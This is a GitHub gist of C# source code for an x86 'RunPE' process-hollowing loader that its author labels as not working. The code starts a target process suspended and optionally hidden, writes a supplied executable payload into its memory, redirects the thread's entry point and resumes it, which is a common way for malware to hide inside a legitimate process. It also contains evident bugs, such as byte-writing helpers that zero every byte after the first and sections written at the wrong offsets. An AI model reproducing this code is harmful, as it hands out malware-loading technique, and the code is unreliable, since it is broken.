Skip to content

Instantly share code, notes, and snippets.

@decay88
Created September 2, 2019 15:50
Show Gist options
  • Save decay88/c65bd01f31873cf9c59059ad7fc8412f to your computer and use it in GitHub Desktop.
Save decay88/c65bd01f31873cf9c59059ad7fc8412f to your computer and use it in GitHub Desktop.
x86 RunPE prototype (not working atm)
using System;
using System.ComponentModel;
using System.IO;
using System.Runtime.InteropServices;
namespace ConsoleApp61
{
// something is wrong with this runpe
// probably has to do with the context
// not sure
public class RunPE
{
public static void Run(byte[] payload, string target_filename, bool hidden)
{
NativeProcess process = new NativeProcess(null, target_filename, null);
process.Hidden = hidden;
if (process.Open())
{
uint e_lfanew = LittleEndian.ReadUInt32(payload, 0x03c);
uint allocatedMemory = process.Allocate(
LittleEndian.ReadUInt32(payload, (int)e_lfanew + 0x018 + 0x01c),
//(uint)payload.Length, // instead of size of image
LittleEndian.ReadUInt32(payload, (int)e_lfanew + 0x018 + 0x038)
);
uint sizeOfHeaders = LittleEndian.ReadUInt32(payload, (int)e_lfanew + 0x018 + 0x03c);
if (!process.Write(allocatedMemory, payload, 0, (int)sizeOfHeaders))
throw new Win32Exception(Marshal.GetLastWin32Error());
uint numberOfSections = LittleEndian.ReadUInt16(payload, (int)e_lfanew + 0x004 + 0x002);
for (ushort i = 0; i < numberOfSections; i++)
{
int addressOfSectionHeader = (int)e_lfanew + 0x0f8 + (0x028 * i);
// section header data
uint virtualAddress = LittleEndian.ReadUInt32(payload, addressOfSectionHeader + 0x00c);
uint sizeOfRawData = LittleEndian.ReadUInt32(payload, addressOfSectionHeader + 0x010);
uint pointerToRawData = LittleEndian.ReadUInt32(payload, addressOfSectionHeader + 0x014);
// end of section header data
byte[] sectionHeaderData = new byte[sizeOfRawData];
Buffer.BlockCopy(payload, (int)pointerToRawData, sectionHeaderData, 0, (int)sizeOfRawData);
if (!process.Write(allocatedMemory + pointerToRawData, sectionHeaderData, 0, sectionHeaderData.Length))
throw new Win32Exception(Marshal.GetLastWin32Error());
}
ThreadContext context = ThreadContext.Get(process.ThreadHandle);
uint addressOfPEB = LittleEndian.ReadUInt32(context.Context, 0x0a4) + 0x008u;
if(!process.WriteUInt32(addressOfPEB, allocatedMemory))
throw new Win32Exception(Marshal.GetLastWin32Error());
uint addressOfEntryPoint = LittleEndian.ReadUInt32(payload, (int)e_lfanew + 0x018 + 0x010);
LittleEndian.WriteUInt32(context.Context, 0x0b0, allocatedMemory + addressOfEntryPoint);
context.Set(process.ThreadHandle);
process.Resume();
}
}
public static void DisableFsRedirection()
{
Wow64DisableWow64FsRedirection(ref sysWowValue);
}
public static void EnableFsRedirection()
{
Wow64RevertWow64FsRedirection(sysWowValue);
}
public static bool IsWow64System()
{
return Directory.Exists(Path.Combine(Directory.GetParent(Environment.SystemDirectory).FullName, "SysWOW64"));
}
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool Wow64DisableWow64FsRedirection(ref IntPtr ptr);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool Wow64RevertWow64FsRedirection(IntPtr ptr);
private static IntPtr sysWowValue = IntPtr.Zero;
}
class ThreadContext
{
public const int Size = 0x2cc;
public byte[] Context
{
get { return _context; }
protected set { _context = value; }
}
protected ThreadContext() { }
protected ThreadContext(byte[] ctx)
{
Context = ctx;
}
public static ThreadContext Get(uint threadHandle)
{
ThreadContext context = new ThreadContext();
context.Context = new byte[ThreadContext.Size];
LittleEndian.WriteUInt32(context.Context, 0x000, 0x10001b);
// GetThreadContext(threadHandle, context._context);
if (RunPE.IsWow64System())
{
Wow64GetThreadContext(threadHandle, context._context);
}
else
{
GetThreadContext(threadHandle, context._context);
}
return context;
}
public void Set(uint threadHandle)
{
// SetThreadContext(threadHandle, _context);
if (RunPE.IsWow64System())
{
Wow64SetThreadContext(threadHandle, _context);
}
else
{
SetThreadContext(threadHandle, _context);
}
}
private byte[] _context;
[DllImport("kernel32.dll")]
private static extern bool GetThreadContext(uint hThread, byte[] lpThreadContext);
[DllImport("kernel32.dll")]
private static extern bool SetThreadContext(uint hThread, byte[] lpThreadContext);
[DllImport("kernel32.dll")]
private static extern bool Wow64GetThreadContext(uint hThread, byte[] lpThreadContext);
[DllImport("kernel32.dll")]
private static extern bool Wow64SetThreadContext(uint hThread, byte[] lpThreadContext);
}
class NativeProcess
{
public uint ProcessHandle
{
get; protected set;
}
public uint ThreadHandle
{
get; protected set;
}
public string FileName
{
get; protected set;
}
public string Cmd
{
get; protected set;
}
public string Directory
{
get; protected set;
}
public bool Hidden
{
get; set;
}
public NativeProcess(string filename, string cmd, string directory)
{
FileName = filename;
Cmd = cmd;
Directory = directory;
}
public void Resume()
{
ResumeThread(this.ThreadHandle);
}
public bool Open()
{
uint creationFlags = 0x00000004;
byte[] si = new byte[0x044];
LittleEndian.WriteInt32(si, 0x000, si.Length);
if (Hidden)
{
LittleEndian.WriteInt32(si, 0x02c, 0x00000001);
LittleEndian.WriteInt16(si, 0x030, 0x000);
creationFlags |= 0x08000000;
}
byte[] pi = new byte[0x010];
bool result = CreateProcess(FileName, Cmd, 0u, 0u, false, creationFlags, 0u, Directory, si, pi);
if (result)
{
ProcessHandle = LittleEndian.ReadUInt32(pi, 0x000);
ThreadHandle = LittleEndian.ReadUInt32(pi, 0x004);
}
return result;
}
public uint Allocate(uint address, uint size)
{
return VirtualAllocEx(ProcessHandle, address, size, 0x00001000 | 0x00002000, 0x40u);
}
public bool Write(uint address, byte[] buffer, int offset, int size)
{
byte[] data_buffer = new byte[size];
Buffer.BlockCopy(buffer, offset, data_buffer, 0, data_buffer.Length);
IntPtr written = IntPtr.Zero;
return WriteProcessMemoryEx((IntPtr)ProcessHandle,(IntPtr) address, data_buffer, (int)data_buffer.Length, out written);
}
public bool WriteUInt32(uint address, uint value)
{
byte[] buffer = new byte[4];
LittleEndian.WriteUInt32(buffer, 0, value);
return Write(address, buffer, 0, buffer.Length);
}
[DllImport("kernel32.dll")]
private static extern bool CreateProcess(string lpApplicationName,
string lpCommandLine,
uint lpProcessAttributes,
uint lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
uint lpEnvironment,
string lpCurrentDirectory,
byte[] lpStartupInfo,
byte[] lpProcessInformation);
[DllImport("kernel32.dll")]
private static extern uint VirtualAllocEx(uint hProcess,
uint lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(uint hProcess,
uint lpBaseAddress,
ref byte[] lpBuffer,
uint nSize,
uint lpNumberOfBytesWritten);
[DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory", SetLastError = true)]
private static extern bool WriteProcessMemoryEx(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
private static extern uint ResumeThread(uint hThread);
}
class LittleEndian
{
public static void WriteInt32(byte[] arr, int offset, int value)
{
int j = 0;
for (int i = offset; i < offset + sizeof(int); i++)
{
arr[i] = (byte)((value & 0xff) >> (j * 8)); j++;
}
}
public static void WriteInt16(byte[] arr, int offset, short value)
{
int j = 0;
for (int i = offset; i < offset + sizeof(short); i++)
{
arr[i] = (byte)((value & 0xff) >> (j * 8));j++;
}
}
public static void WriteUInt32(byte[] arr, int offset, uint value)
{
int j = 0;
for (int i = offset; i < offset + sizeof(uint); i++)
{
arr[i] = (byte)((value & 0xff) >> (j * 8)); j++;
}
}
public static void WriteUInt16(byte[] arr, int offset, ushort value)
{
int j = 0;
for (int i = offset; i < offset + sizeof(ushort); i++)
{
arr[i] = (byte)((value & 0xff) >> (j * 8)); j++;
}
}
public static int ReadInt32(byte[] arr, int offset)
{
int j = 0;
int value = 0;
for (int i = offset; i < offset + sizeof(int); i++)
{
value |= arr[i] << (j * 8); j++;
}
return value;
}
public static uint ReadUInt32(byte[] arr, int offset)
{
int j = 0;
uint value = 0u;
for (int i = offset; i < offset + sizeof(uint); i++)
{
value |= (uint)arr[i] << (j * 8); j++;
}
return value;
}
public static short ReadInt16(byte[] arr, int offset)
{
int j = 0;
short value = 0;
for (int i = offset; i < offset + sizeof(short); i++)
{
value |= (short)(arr[i] << (j * 8)); j++;
}
return value;
}
public static ushort ReadUInt16(byte[] arr, int offset)
{
int j = 0;
ushort value = 0;
for (int i = offset; i < offset + sizeof(ushort); i++)
{
value |= (ushort)(arr[i] << (j * 8)); j++;
}
return value;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment